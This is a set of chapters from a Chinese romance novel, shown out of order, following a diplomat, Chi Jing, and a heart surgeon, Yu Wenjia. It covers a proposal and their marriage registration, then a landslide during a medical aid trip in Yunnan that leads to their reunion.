这个问题就又回归到了池镜最初的顾虑。 现在只是各处去,以后任期到了,他还是有可能会去别的国家常驻,这些都没有定数。 “要听实话还是假话?”余闻嘉问。 池镜笑了:“你说呢。” “实话是,会。”余闻嘉看着他,“那你会不会觉得我太黏人了,让你有负担?” 池镜摇头:“不会。” “真的不会?我看你现在就有负担。”余闻嘉把行李箱合上,拿起床上的手机,走到窗边,“别有负担,也不用管我踏不踏实。你就朝你自己的方向走,别管我。你去哪我都在这,我跟不了你,但你也丢不下我。这些话我早就跟你说过了,不记得了?” 池镜点头:“记得。” “记得就行。” “我不会丢下你。”池镜说,“永远不会。” 余闻嘉“嗯”了声,说:“我知道。” 池镜从床上坐起来,“还有个事我得说一下。” “嗯,你说。” “每次我一出差你就那么高冷干什么?” “嗯?” “跟平时两模两样的,跟我多说会儿话都不愿意。怕我觉得你太黏人了?” “是的,怕你有负担。”余闻嘉一本正经地说,“你要觉得没必要,那我就不装了。” 池镜失笑:“别装。你该黏黏。” “好。” 这一通视频电话两人打了半个小时,挂断前池镜跟余闻嘉说:“生日快乐闻嘉。不管以后我去哪儿你都不用觉得不踏实,我是你的,我永远不会丢下你。” THE END 第69章 完结章 我们属于彼此。 69 池镜两天后就回国了, 余闻嘉还在外地开会没回来。 他下午三点多下的飞机,回家收拾停当后,去了趟老宅。这次出差他去的是一个免签小岛国, 当地主要靠旅游业发展经济。参加完领事馆落成典礼,他又在当地政府的安排下在岛上游玩了两天, 还顺带买了些特产回来。他把东西给他妈和姥姥送去, 余闻嘉爷爷那边也没落下。 送完这边, 池镜给余闻嘉妈妈打了通电话。上次去送枇杷,家里就没人,池镜这次提前知会了一声。今天是休息日, 余母在家,池镜跟她通完话就开车过去了。 余母正在家做甜品,门一开,池镜就闻到了股甜甜的奶香。 “妈。”池镜叫了声,笑着进屋, 把东西拎进来,“这么香呢。” “香吧。”余母接过他手里的东西,笑盈盈道,“来的正是时候, 刚出炉的巴斯克蛋糕, 快随我去品尝一番。” 余母烤蛋糕的间隙也没闲着, 还做了会儿瑜伽,池镜进客厅看到电视机前放了条瑜伽垫。 余母让池镜去沙发上坐,没过一会儿拿了一盘切好的蛋糕过来,还有一杯玫瑰烤奶。 “敬请品尝。”余母把蛋糕和烤奶搁在桌上,还摊了下手。 池镜笑了笑:“谢谢妈。” “快尝尝味道怎么样,”余母在沙发上坐下来, “头一回做。” 池镜拿勺子?了一勺蛋糕送进嘴里,点头竖了竖大拇指:“相当美味。” 余母满脸笑意:“哎哟,夸得我都要飘了。” 池镜在余母这坐了会儿,两个人吃着蛋糕聊了会儿天。 “小镜,”余母吃了口蛋糕,问池镜:“你跟闻嘉怎么样,处得还好吗?” 池镜说:“我们处得很好。” “这事我也没问过你,就问了闻嘉……”余母话音停了停,抬眼看向池镜,“你俩现在是真好了,是不?” 池镜点了点头:“是的,妈。” 池镜的工作性质余母了解,余闻嘉的性格余母也了解。 “会觉得有压力吗?”余母问他,“跟闻嘉在一起,会不会觉得有些累。” 池镜笑着摇头:“当然不会。怎么会这么问。” 余母也笑了笑:“我怕他牵住你,让你没法像以前那样自由。我相信你也感觉得到,闻嘉非常非常依赖你,甚至可以说是依恋。不说现在,小时候就是这样,你又总迁就他,从以前迁就到现在,当初你俩结婚这事不就是你迁就他么,跟你提什么都答应……” 余母端起奶茶抿了一口,继续说着:“他对你的情感需求太高了,像鱼离不开水一样。可你的工作性质摆在那儿,你不可能时时满足他的需求。这样一来你就放不下他,就得想着怎么填补他的安全感,那你精神和心理上不就不自由了吗。” “所以我担心你跟他在一起会有负担,会累。” 池镜说:“不会。” 余母看着他。 “跟他在一起我很踏实也很安心。” 余闻嘉对池镜的情感需求确实非常高,如余母所言,就像鱼儿离不开水。但他性格和人格都很独立,他不可能让池镜觉得有负担。他带给池镜的是安稳和幸福。 “是吗,”余母微微笑着,看他的眼神很温柔,“是这样就好。” 池镜点点头:“是这样。” 余母给他续了点奶茶,笑着问他:“他现在是不是又可劲儿黏你了?” 池镜笑了声:“是。” “就知道他现在解放自我了。”当妈的还是了解儿子,“是不是挺烦人呢?” “不烦。我挺喜欢的。” “我猜是比以前更黏了吧。” 池镜笑着点了下头:“确实是。” 余母笑了下,温声道:“我想他应该是在意你很多年了,所以有点患得患失……” “以后都不会了。”池镜看着余母笑了笑,“我不会再让他觉得患得患失。” 吃完蛋糕,池镜打算走了,余母留他吃晚饭:“你别走了,留这吃晚饭,今天我做大餐。” “下次吧妈,我今天晚上有事。” “行,下次跟闻嘉一起过来。” 晚上六点,余闻嘉开完大会,跟同行的几位医生回酒店餐厅吃晚饭。明天还有半天会,他今天还回不去。 出差这两天,余闻嘉都戴着婚戒,一刻也没摘。他日常手术多,平时在医院不戴戒指,这趟出来开个会,手上的婚戒可算是被科里这帮同事注意到了。余闻嘉已婚这事科里早有风声,已经不是秘密,但倒也没谁特意来问他。 除了齐教授。 当时正准备进手术室,师徒俩在水池前刷手,齐教授冷冷地瞥一眼他爱徒,冷冷地问他什么时候结的婚。问完甩了甩手上的水,淡淡道:“我这老师当得挺失败,带你这么些年连个请柬都混不到。” 余闻嘉跟在他老师后面,嘴也有点欠:“您需要的话,回头给您补个。” 他老师回过头,斜眼看着他。 齐教授,一个看着严肃其实有点冷幽默的酷老头。他带余闻嘉好多年了,从硕士就一直带着。师徒俩一个样,都有点劲劲儿的。 余闻嘉无名指上戴着戒指,这下他已婚的事终于是得到了证实。 余闻嘉是他们科里、甚至是院里公认的帅哥,这么帅又这么优秀的男士英年早婚,多少有点让人意外。 坐对面的一个主治医看见余闻嘉手上的婚戒,吃着菜心直口快地问了句:“小余你真结婚了啊?” 余闻嘉点了下头:“嗯。” “之前听他们说我还不信呢。”他笑了笑,“你这婚结得可够早的啊,咱科里好几个住院医都还单着呢,你弯道超车啊,还没毕业呢就有家室了。” 李彻笑着说:“那也得人家家室优秀呢,不然哪能那么早就结婚。” “哟,听你这话是见过啊?” “那是自然。” 说话间,余闻嘉的手机响了。他看了眼屏幕,是池镜打来的电话。 “喂?” “回酒店了吗?”池镜在电话那头问。 “回了。” 余闻嘉在餐厅,背景音有点嘈杂,池镜问他:“你在哪?没在房间?” “在餐厅吃饭。” “酒店餐厅?” “嗯,怎么了?” 电话那边没了声音。 “镜哥?”余闻嘉正疑惑,远远地看见餐厅门口走进来一个熟悉的身影。 余闻嘉一愣,直接站了起来,旁边的人纷纷抬头看他。 他一站起来,池镜就立马看到他了。池镜穿得西装革履,捧着一束灰粉色的玫瑰,站在餐厅门口,冲他挑眉一笑,举着手机晃了晃。随后又把手机举到耳边,在电话里跟他说:“坐下吃你的。我过来。” 余闻嘉仍旧看着门口方向,众人循着他的目光转头看去。 池镜捧着束花大大方方地朝这边走来,其实他还带了个蛋糕,不方便拿,放在大堂托前台工作人员看管了。 池镜走到余闻嘉那桌,余闻嘉还站在那儿,目光钉在他脸上:“你怎么来了?” “来给你补过生日。你明天才回来,我等不急,今天就想给你补。”池镜把花递给他,“生日快乐。” 余闻嘉接过花,手碰到池镜的手,轻轻抚了一下。 池镜本来没想这么高调,打算在酒店大堂等余闻嘉吃完饭出来,后来转念一想高调就高调呗,他就是要不加掩饰地表达爱意,让余闻嘉感受到。 余闻嘉跟坐这的几个医生介绍了一下:“这位是我先生。” 池镜冲众人点头致意,礼貌一笑。 李彻看着池镜,打趣道:“你可真是……自带任意门啊?” 上次在云南碰见,这次又在这碰见。余闻嘉去哪,他这家属都能追来。 池镜笑了下:“买个票的事儿。” 李彻看了眼余闻嘉,不由道:“真有福气啊,去哪都有家属惦记着,还亲自跑过来探望。” 余闻嘉问池镜:“吃饭没?” “没。本来打算带你去外面吃,没想到你已经吃上了。”池镜过来没告诉余闻嘉,就想给他个惊喜,他看了眼余闻嘉的餐盘,已经吃得差不多了,“都快吃饱了吧?” “差不多了。”余闻嘉现在不想出去吃饭,他只想带池镜回房间,两个人单独待着,“你在这吃?给你点个餐?” “回房点吧。”池镜说。 “嗯。”余闻嘉跟几个医生打了声招呼,跟池镜一起离开了餐厅。 走到酒店大堂,池镜停了下,去前台拿了蛋糕和行李箱。花和蛋糕都是他在这边附近的花店和蛋糕店提前订的。 进了房间,余闻嘉把花和蛋糕放桌上,转身搂住他,在他嘴上亲了亲,“今天回的国?” “啊。” “我明天就回去了,你还跑这一趟,刚回来不好好休息。” “我说了我等不急,”池镜抚了抚他的后腰,“今天就要帮你补过生日。” 余闻嘉松开他,拿出手机要订餐:“想吃什么?要不还是去外面吃?” “不着急。”池镜拉着他的手腕往床边走,让他坐床上,“先让我把正事办完。” 余闻嘉坐在床边,有些疑惑地看着他。 池镜从西裤口袋里摸出一个暗红色的皮质小方盒,单膝跪地打开了盒子。 余闻嘉愣了下。 池镜浅浅笑着,注视着他,语气郑重地开口:“余闻嘉先生,请你跟我结婚。” 余闻嘉怔怔地看着他。 盒子里是一条项链,吊坠是个圆环,表面雕刻着镂空的花纹。这个圆环吊坠其实也是枚戒指盒,池镜从盒里拿出项链,拨开圆环,里面嵌着一枚银白色的素戒。 余闻嘉平时在医院不方便戴戒指,池镜专门找人定制了这款项链,戒指日常不戴可以嵌在吊坠里,当个项链戴。吊坠扣头也是设计过的,是他和余闻嘉名字开头字母的结合,上面点缀着碎钻。 虽然他们已经有一对婚戒了,但这枚戒指对池镜来说意义不一样——这是他赋予他们婚姻的新的开始。 池镜把戒指拿出来,举到余闻嘉面前,笑着说:“明天是个好日子,跟我去领证吧。” 余闻嘉垂眸看着他,看着看着眼睛就红了。他侧过头闭了闭眼,转过头来,点头说:“好。” 戒指已经做好很久了,池镜原打算余闻嘉生日那天送出去,也原打算就在这天去领证。可惜错过了。他不愿再多等两天,所以一回国就赶过来了。 “手呢。”池镜笑了笑,戒指还捏在手里,“自觉点啊。” 余闻嘉把手伸过来,池镜把那枚素戒套进了他左手无名指,跟之前那枚婚戒叠戴在一起。他送的这枚戒指更细一点,叠戴不违和,反而很好看。 余闻嘉拉池镜起来,揉了揉他的膝盖。池镜站在他身前,双手绕过他的脖子,给他戴上项链。 “你在医院戴戒指不方便,以后可以把戒指嵌在吊坠里戴着。这项链我特意找地方定制的,喜欢吗?” 余闻嘉“嗯”了声:“喜欢。” 池镜捧住他的脸,垂眸与他对视:“我给你上了两个圈,双重捆绑。从今以后,你就是彻底被我绑住了。” 余闻嘉仰头看着他。 “我说我是你的,这句话还说得不够完整——”池镜顿了片刻,凝视着他,缓缓道,“闻嘉,你也得是我的。” 池镜低下头,在他唇上轻轻一吻,“我们属于彼此。” 这一趟来,池镜把领证要用的证件都带上了,包括余闻嘉的。第二天余闻嘉开了半天会,中午跟池镜一起坐高铁回去,出了地铁站两人直接打了辆车去民政局。 两人都不是急性子,但都是行动力极强的人,要做的事就立马去做,一刻都不带耽误的。 正好余闻嘉刚开完会,穿的是白衬衫,池镜也一身正装,两个人都穿得体面正式,直接在民政局现场拍了登记要用的结婚照。 今天不是特殊的日子,又是工作日,登记领证的人不多,不需要预约。他们没等多久就叫到号了,在登记处填完申请书,签字、摁印。十五分钟后,敲好钢印的结婚证递到了他们手中。 走出民政局,池镜朝余闻嘉张开双臂,浅浅一笑:“要抱。” 余闻嘉走上前,将他拥进怀里。他侧过头,嘴唇贴在池镜耳侧,低低地叫了声“镜哥”。 “嗯。”池镜抚了抚他的头发,“在呢。” 余闻嘉闭上眼睛,紧紧搂着怀里的这个人。 良久,他才开口。 “谢谢你让我爱你。” (正文完) 50-60 第51章 第 51 章 雨停了。 51 池镜额头上的包第二天就消了, 但是淤青还没散,他日常工作经常要开会,有时还要会见一些高官政要, 在正式场合露面,脑门上顶着一块淤青也不像个样子。早晨到单位, 陈逸飞给他出了主意, 建议他可以拿女孩子化妆用的粉饼遮一遮。 池镜对化妆品一窍不通, 坐办公室里问陈逸飞:“就那种扑脸上的粉?能遮住?” “多少应该能遮掉点,就跟化妆遮黑眼圈一样嘛。” 池镜点了点头,觉得他说得有理。 于是当天晚上池镜去了趟商场, 从没买过化妆品的他随机走进了一家品牌化妆品专柜,跟店员讲明需求后,在店员的推荐下买了一样叫“遮瑕膏”的东西。 之后几天池镜就拿这东西遮自己的淤青,每天上班前还得往自己脸上抹点东西。 池镜在余闻嘉出差回来的前一天晚上给他发了条消息:明天什么时候的飞机? 余闻嘉:晚上。 池镜:那我来接你。 余闻嘉:不用,落地肯定很晚了, 你早点休息,我自己回。 池镜:到时候再看。 周五,二院心外科援滇医疗义诊活动的最后一天,医疗队头三天的主阵地在市医院, 之后就是下县城巡回义诊。这次医援主要针对的就是当地贫困地区, 所以医援点基本都在地处山路地段的偏远县城。 心外科医疗队一行人开了两辆大巴, 这几天除了在县医院给病患检查看病,刨去吃饭休息的间隙,援滇的大夫们大部分时间都是在车上。 大巴行驶在盘山公路上,医疗队结束了最后一站的活动,正在返程去机场的途中。 春季多雨,这几天云南这边一直在下雨, 连着几天阴雨连绵,天灰蒙蒙的。大巴在路上开得很慢,这雨下得没有停的架势,车窗上的雨水像倾倒下来的一样。 余闻嘉在第一辆大巴上,坐在前排靠窗的位置闭目养神。他旁边的医生看了眼窗外的雨势,叹着气小声说了句:“这雨下的,估计飞机得晚点了。” 余闻嘉睁开眼往窗外看了一眼,这边都是盘山公路,入眼就是山腰,山上有松软的泥块滚落,连着几天的雨把山腰的绿植都冲弯了。 他拿出手机看了眼,山路上没有信号,手机连不上网。 余闻嘉收起手机,又往窗外山腰上看了一眼。 那些滚落的泥块不是什么好的预兆。 这种路段遇到持续性大雨,发生山体滑坡的概率很高,但是现在车开在路上,前后都是山路,除了继续往前开也没别的选择。 怕什么来什么。 雨势渐弱,大巴在路上安安稳稳地又行驶了二十分钟,旁边医生从包里拿了包坚果递给余闻嘉,余闻嘉接过说了声“谢谢”,话音刚落就听到一阵“轰隆隆”的闷响。 “我靠!”后面有人喊了起来,“滑坡了!” 不远处,距离大巴五米的路段,山上的绿植泥石如流水般倾泻下来。雨天路滑,后面还跟着另一辆大巴,司机反应再迅速,也不敢紧急刹车,怕追尾。他打开双跳赶紧减速,但距离实在太近,根本来不及后撤避开了,碎石砸到了大巴上,“砰”的一声,余闻嘉前侧的窗户被砸破了。 玻璃差点飞到旁边医生的脸上,他眼疾手快地把对方往旁边推了一下,被飞溅的玻璃刮伤了手背。 乱石沿着山坡滚下来,四处飞溅的石块将大巴窗户一扇扇地砸破,车里的人根本来不及躲避,两辆大巴在生死时速之间同时迅速倒车后退,伴随着轰隆隆的巨响,山上的泥石加速滚落,没过片刻便像洪水一样汹涌而下。 巨石翻滚,尘土飞扬。 晚上,池镜和池明一起在胡同老宅吃饭,吃完饭池母从厨房搬了两箱枇杷出来,说是亲戚家果园里种的,前几天送了几箱来,这两箱是给余闻嘉妈妈留的,让池镜回去路上捎带给亲家母。 “亲家母”这个称呼让池明坐车上笑了半分钟。 余闻嘉和池镜平时都挺忙,日常跟长辈接触不多,跟池明见得也少,在池明这他俩的婚姻基本没什么存在感,换言之,就是两人结了有种没结的感觉。 所以他妈嘴里冷不丁冒出个“亲家母”,听着就很滑稽。 “看来下回见着余闻嘉我得喊声‘哥夫’了。”池明坐在副驾上说,“称呼这方面一直没咋注意,我太不懂事了。” 池镜转头瞥了他一眼。 余闻嘉这阵子在云南参加医援活动,池明也有很久没见过他了。提到余闻嘉,池明就想起了上次池镜出差,余闻嘉一个人去看电影的事。 “有件事我可得跟你提一下。”池明说,“上次你出差,某人可是一个人去看了电影。” 池镜开着车没说话,池明转头看向他:“他就不是个会去电影院看电影的人,还一个人去。是不是约了你了啊,没约成?” 池镜依旧沉默。 “没约成他还非得一个人……哥,你是客观上去不了,还是主观上去不了啊?” “我去了。”池镜说。 池明挑了下眉,有点意外:“所以你俩现在是个什么情况?” 池明也就是看着吊儿郎当,其实心思很活泛,他能问池镜这个,就说明他早看出来点什么了。池镜不太想跟他聊这个:“什么情况也不是。” 池明嗤笑一声,拿出手机玩,低着头说:“什么情况也不是,但还是没舍得让人家一个人去看电影。啧。” “你不喜欢他啊。”池明直接问了句。 池镜没回答。 “没回答就是否认了。”以池明对他哥的了解,他大概能猜到他哥对余闻嘉感情的态度,也能猜到他哥为什么会是这个态度,“那你到底怎么想呢,觉得你俩在一块不合适?不想耽误人家?” “今天当上情感大师了?”池镜终于开口。 “我是怕你理智过头,理智糊涂了。”池明打开窗,从烟盒里拿了支烟抽。他跟余闻嘉认识那么久,从小看着余闻嘉怎么跟他哥处的,就算以前没看出什么来,现在还看不出来吗。 池镜从没糊涂,但这段时间似乎也越来越清醒。 池明咬着烟看他一眼:“感情上的事要那么理智干嘛。” 池镜先把池明送回了他住的地方,然后去了余闻嘉家。他按了几下门铃,家里没人应。想着余闻嘉妈妈可能是不在家,他给她打了通电话。 余母一听池镜来给他送东西,带着歉意道:“哎哟我还在外头吃饭呢,一时半会儿还回不来。” “没事儿,我就打电话跟您说一声,枇杷我放门口,这门口能放吗?” “你直接搁屋里吧。”余母没把池镜当外人,直接把门锁密码告诉了他,“真麻烦你了,还特意跑一趟。” “不麻烦,顺路的事。那我先挂了啊,东西给您搁屋里。” 余母想起了什么,跟池镜说:“哎对了,小镜,闻嘉书房里有两本书,你一会儿走的时候顺带给他带回去吧。我之前在博物馆给他买的,一直没机会拿给他,书就在书桌抽屉里。” “行。” 池镜挂了电话,输密码开门,把枇杷搬进屋里后,去了余闻嘉书房。书房门是开着,书桌靠窗,左右两边都是书架,书架上摆满了书。池镜心想还好余闻嘉妈妈没把书塞书架上,不然这么多书,不知道要找到什么时候去。 池镜走到书桌前,脚步微微一顿。 桌上放着一张相框,相框旁边摆着的是池镜很多年前送给余闻嘉的宇航员模型。 巴掌大小的小摆件,做工很精致。 池镜拿起模型看了眼,手指在宇航员小人的脑袋上轻轻蹭了蹭。 余闻嘉的书桌收拾得很干净,桌上只有一盏台灯、一张相框和这个摆件。 池镜把摆件放回去,拉开了书桌抽屉。 余母买给余闻嘉的书还没拆封,连同包装袋一起放在抽屉里。别说桌面,余闻嘉连抽屉里都没放什么东西,看着清清爽爽的,没几样杂物。池镜把书拿出来,余光扫到抽屉角落有个白色的护腕,他定睛看了眼,陡然间一愣。 护腕有些发黄了,上面还有血迹没洗干净留下的浅色印记。 这是池镜的护腕。 池镜怔怔地看着那个护腕,在桌前站了很久。 今天本该是余闻嘉回来的日子,池镜却一整天没联系到他,白天发了两条消息他都没回复,刚才打了个电话也没打通。 池镜坐在车里,又给余闻嘉打了个电话,还是没打通。 池镜电话打了一圈,没人能联系上余闻嘉,最后他把电话打到了陆思远那里。 陆思远还在医院值班,接到池镜的电话有点意外。 池镜是想通过陆思远联系一下李彻,他不知道李彻有没有去云南参加医援活动。 “他去了啊。”陆思远有点摸不清状况,“怎么了?” “我打不通余闻嘉电话,你能联系到李彻吗?” “你等会儿,我打个电话试试。” 池镜先挂了电话,不一会儿,陆思远回电,跟他说李彻手机关机了。 池镜皱着眉。 唯一能联系上余闻嘉的人都断了联系,他实在有点担心。 “可能是上飞机了。”陆思远说。 “不会。我白天给他发的消息他就没回。” “总不会是出了什么事吧。”陆思远也担心了起来,“这样,我去他们科里问问,等会儿再打给你。” 池镜心神不宁地坐在车里,十分钟后等到了陆思远的电话。 “他们车队在返程途中遇到山体滑坡了。”陆思远的语气明显变了。 池镜心里一紧:“什么?”他脑子有一瞬间的空白,愣了一下立马又问:“情况怎么样?有人受伤吗?” 陆思远迟疑了一秒,声音变得有些沉:“……有。具体情况他们科里那几个大夫也不是很清楚,只知道他们医疗队跟着当地救援队去附近的医院支援了,那边有个村庄被压了不少人。” 虽然医疗队跟着去支援了,但队伍里也有很多医生都受了伤。 池镜手心出了冷汗,他不知道余闻嘉有没有受伤,如果受伤了又伤得多重?他不敢多想。 余闻嘉的电话始终没有打通,池镜在车里坐了很久,最后打开手机订了一张今晚去云南的机票。 订完票,他从陆思远那里问到了医疗队支援的医院地址。 他不可能呆呆地在家里等上一晚上,要是明天早上还联系不上余闻嘉又怎么办?要是余闻嘉真的出了意外怎么办?他现在根本没办法静下心来。 他想见余闻嘉,想看到他安然无恙地站在自己面前。 这场滑坡让山脚的一片村庄遭了殃,房屋被毁,村民受伤失联。大巴被困在山路上,车身和顶部被石块砸出了很多大大小小的坑,好几个大夫都受了伤。手机没有信号电话都打不出去,一行人等了一个多小时才等到救援人员。 山体滑坡导致山脚村庄被掩埋,被救援出来的受伤村民一批一批地送往临近医院救治。这地方太偏了,医院医疗资源有限,医护人员十分紧缺,医疗队又折返回刚刚才离开的地方,跟着救援队伍去县医院支援了。 情况远比想象得要糟,医院门口停满了救援车辆,送来医院救治的伤患太多了。 天已经黑透了,余闻嘉下了车,他自己手上还在流血,顾不上这点伤,紧跟上队伍去查看伤患。简单的外伤救治和紧急抢救对他们这些外科医生来说都是基础操作,他们的到来也让本来手忙脚乱的本院医生有了喘息的时间。 池镜出发去了机场,上飞机前又打了一通电话给余闻嘉,这次通了,但没人接。 四小时后,飞机落地。 池镜到本市的时候已经是晚上一点了,机场距离余闻嘉他们医援的那个县城还有两百多公里的距离,开车过去至少还要三个多小时。 池镜在机场附近叫了辆车,上车前司机先跟他说了价,因为是半夜出车,肯定得加价。价格谈妥后,池镜上了车,眉头紧锁地看着窗外。 余闻嘉的电话是能打通了,但一直没人接,他也没回过电话,池镜的心一直是悬着的。 “小伙子,我只负责送你到县城啊,你要去的那地儿太偏了,都是山路,这连下了好几天雨,那边山路容易滑坡,不安全。”司机有点纳闷,“这大半夜的,你上那儿去干嘛呀?” “找人。” “啥时候不能找啊。”司机看了眼窗外,“这雨又下起来了,还不知道啥时候能停。” 池镜坐了三个半小时车到县城,出于安全考虑,司机只能把他送到这,但也给他推荐了个租车的地方。 池镜从县城出发,自驾前往目的地。 这一路都是盘山公路,但地势相对来说没那么高。窗外雨落不止,池镜的视线变得有点模糊,他把雨刮器调到最快那档。离目的地越近,他的神经就越紧绷。 不知过了多久,他开出了山路,开到了一片开阔的地带。视线之内渐渐出现了一些车辆——救护车,消防车。 此时已经清晨六点了,阴云遮住天幕,天色也只亮起一点点。 再往前开就是医院,医院门口都是车,池镜把车停在了医院附近的停车点,下车快步走进了医院。 救援工作持续了整整一夜,医疗队的支援也持续了整整一夜。送来医院的伤患越来越少,二院的很多医生已经撤退去酒店休息了。 余闻嘉累得精疲力尽,从医院出来的时候手都有点发颤。 天边阴云散开,微弱的晨光从云层后面透出来。 雨停了。 余闻嘉抬头看了眼天,才意识到原来已经早晨了。 他低头揉了揉眉心,抬头睁眼时看见远处走来一道熟悉的身影,遥遥相望的瞬间,那道身影突然一顿,停在了原地。 余闻嘉怔了一下,以为自己看错了。 没时间给他反应,那道身影已经迈开步子朝他疾步走来。 余闻嘉也向前踏了一步,他因为过于诧异而显得反应有些迟钝,直到池镜走到他面前,他都还是一副没过神的表情。 “镜……” 余闻嘉的声音沉没在池镜的拥抱里。 池镜沉默地、紧紧地抱住了他。 余闻嘉闭上眼睛,抬手用力地搂住了他,将他拥在怀中。 池镜的衣服和头发都有些潮湿,他的脸贴着余闻嘉的颈侧,皮肤很冰冷。 两人静静抱了许久,余闻嘉略微侧过头,在池镜耳边低声问:“你怎么会来。” 池镜松开手,从他的怀抱中离开。 “我来告诉你我的答案。” 说罢他搂住余闻嘉的后颈,凑上前在他唇上轻轻吻了一下。 第52章 第 52 章 近乡情怯。 52 池镜扣着余闻嘉脖子的手是用力的, 但这个吻却是轻柔的,轻轻一碰,一触即离。 不知道是不是这一吻太过突然, 余闻嘉似乎是被亲懵了,半天没有反应, 只是直直地盯着池镜。 池镜看他一动不动, 表情发怔, 笑着问了句:“我给你点穴了?” 说罢视线移向余闻嘉的嘴唇:“那要不再亲一下给你解穴?” 余闻嘉嗓音有些发哑:“把你刚才的话再说一遍。” 池镜要说的话都在刚才那个吻里,于是他身子往前一靠,又在余闻嘉嘴唇上碰了一下, 亲的时候眼睛是睁着的,视线微微向上,追寻着余闻嘉的目光。 “这就是我要说的话。”池镜注视着他。 余闻嘉呼吸顿错了片刻。 池镜又说:“这也是我的答案。” 余闻嘉拉着他往自己身前一拽,两人几乎贴在一起。 “解穴了?”池镜手被余闻嘉抓着,指尖在他手心轻轻刮了下。 “解了。”余闻嘉紧紧握着他的手。 余闻嘉还是克制, 到这份上了,也只是抱一抱池镜,没有更进一步的亲密行为。 也还好只是抱在一起贴了贴,因为身后来人了, 脚步声和说话声渐近, 余闻嘉松开了池镜。 路过的两个大夫跟他打招呼, 都是满脸疲意。 “你是忙到现在才歇?”池镜问余闻嘉。 余闻嘉点了点头。 池镜余光瞥见余闻嘉手背的伤口,拉起他的手看了一眼,皱眉道:“除了手上还有哪伤着没?” “没有。”余闻嘉问他,“你怎么知道我在这边?” “问陆思远的。打不通你电话,我担心出了什么事。” 余闻嘉昨天在山路上手机一直没信号,坐的那辆大巴被乱石砸得没法再开了, 县医院后来又安排了一辆大巴来接他们。到了医院换上白大褂他就下车了,急着去救治伤患,压根没顾得上看手机。他的手机在外套口袋里,换白大褂的时候外套被他放在车上了,所以一直没接到池镜的电话。 这一晚上他连喝个水的工夫都没有,忙晕了,都没想起来要联系一下池镜。 “我手机没在身上,昨天太忙了,忘了给你打个电话。”余闻嘉皱着眉,“对不起。” “说什么对不起,”池镜轻轻捏了捏他手指,“你是在救死扶伤。” “给你打个电话你也不至于这么担心。” 余闻嘉怎么也没想到池镜会连夜赶来这边找他,那么远的路途,他牵住了池镜的手:“走吧,回酒店。” 余闻嘉去大巴上拿了外套和行李,他身上还穿着白大褂,在车上把白大褂脱了,换上了自己的外套。两人离开医院的时候,池镜问他救援情况怎么样,他大致跟他说了一下。目前没有人遇难,但是有几个失联人员,救援队那边还在搜救。 余闻嘉住的酒店就在医院附近,还是他前两天住的那个,县医院给他们医疗队安排的,他们现在返回来支援,又给他们安排住了那里。 池镜租的车还停在医院外面,他直接开车跟余闻嘉去了酒店。 刷卡开门,两人一前一后走进屋里,这是间不带窗的房间,池镜随手开了盏灯,屋里也没多亮,还是暗暗的。 池镜把门关上,转身的一瞬间被余闻嘉抱住了。他很自然地抬起胳膊环住了余闻嘉的腰。 余闻嘉将他拥得更紧。 “怎么头发和衣服都是湿的,”余闻嘉掌心覆在他后颈,顺着发梢往上抚了一下,“淋湿的?” “是啊,来的路上雨挺大的,冒雨租车。” “那么大雨还一个人开车过来,不知道很危险吗。” “我为了谁非要一个人开车过来,”池镜嘴唇凑到他耳边,“你心里不清楚吗。” 他的鼻尖在余闻嘉鬓角似有若无地蹭了一下,轻声道:“怎么还要批评我啊。” 余闻嘉松开他,略微低下头,额头轻轻抵着他的额头:“没批评你。是担心你。” 两人凝望彼此,呼吸交错,余闻嘉只要再往下低一点头,就能吻到池镜的嘴唇。 然而他却迟迟没有下一步动作,维持着这个亲密又纯情的姿势。 他的目光描摹着池镜脸上的每一寸地方,最后落在嘴唇,流连在那处。 “要亲你了。”他低声开口,语气像是在征求池镜的同意。 池镜没说话,他当真没吻过来。 池镜哑然失笑,问他:“你这是近乡情怯了吗?” 余闻嘉点了下头:“是。” “亲呗。”池镜用行动告诉他用不着近乡情怯,他主动凑过去,嘴唇几乎贴到他的嘴唇,“我就在这,我是你的。” 在他的引导下,余闻嘉吻了上来,贴住他的嘴唇。 池镜从来就不是个扭捏的性子,他既然心里已经有了答案,也认清了余闻嘉在自己心里的份量,就不会再回避自己的心。 他会毫不保留、毫不掩饰地表达自己的偏爱与爱。 这一刻,情绪内收的反倒是余闻嘉。 正如池镜所说,他有点近乡情怯了。 他的吻像他的拥抱一样纯情,双唇紧闭,在池镜唇上碰了一下就离开了。 池镜眨了眨眼睛,看着他上下滑动的喉结,在心底笑了下。 “你先去洗个热水澡。”余闻嘉放开他,“别感冒了。” 说着他打开行李箱从里面拿了身干净衣服,衣服池镜可以穿他的,内裤不知道该怎么办,他这没新的。 余闻嘉先把衣服递给池镜,说:“我去超市给你买条新内裤。” 池镜接过衣服往床边一坐,笑着说:“新内裤不也得洗了才能穿么,这里有烘干机?” 很显然是没有的,县医院经费有限,给他们医疗队安排的酒店比较朴素。 余闻嘉说:“那你穿我的。” 池镜点了点头,眼神往行李箱那儿扫了一眼:“拿给我。” 余闻嘉有点强迫症,行李箱收拾得规规整整,里面每样东西都用收纳袋分门别类装起来了。他把内裤从收纳袋里拿出来的时候还有点不太明显的迟疑,池镜看在眼里。 池镜笑着起身,从他手里拿过内裤,去浴室前在他耳边低声说了句:“我们是办过婚礼、亲过嘴的关系,你在顾虑什么。还不乐意我穿你内裤呢。” 池镜进浴室关上门,余闻嘉看着浴室方向,不禁笑了一声。 其实池镜从来都这样,随性又坦荡,他跟从前唯一的区别是他也从哥哥的位置上退出去了。 他现在跟余闻嘉说笑、逗乐,都不再是以邻居哥哥的身份。 池镜很快洗完澡,穿着一身松松垮垮的运动衫从浴室里走出来,头发还没吹。 余闻嘉坐在床边发呆,闻声转头看了眼。 “去洗吧。”池镜说。 余闻嘉起身去行李箱那儿翻出一条干净的干毛巾,走过来往池镜头上一盖,捧住他的脑袋轻轻搓起来:“头发也不吹干。” “那个吹风机得一直按着,吹起来麻烦。” “你头发就这么长,吹起来能有多麻烦。——我给你吹。” 池镜脸被毛巾挡住,脸上的笑意也被挡住:“就等着你说这一句呢。” 余闻嘉笑了笑,低下头,隔着毛巾在他额头上亲了一下。 吹风机功率小,声音也小,余闻嘉给池镜吹头的时候,两人还说着话。 “一会儿下楼去吃个早饭。”余闻嘉说,“还是去外面吃?这酒店早饭不怎么样。” “不吃了。”池镜懒洋洋地说,“想睡觉。” “好。” 给池镜吹完头发,余闻嘉自己拿了衣服去浴室洗澡,他没洗头,随便冲了冲就完事了。出来的时候看到池镜侧着身子躺在床的一边,好像是已经睡着了。 他放轻脚步走过去,上床在他旁边躺了下来。他靠坐在那里,垂眼望着身侧的人。 池镜睡得浅,余闻嘉一躺过来他就醒了。 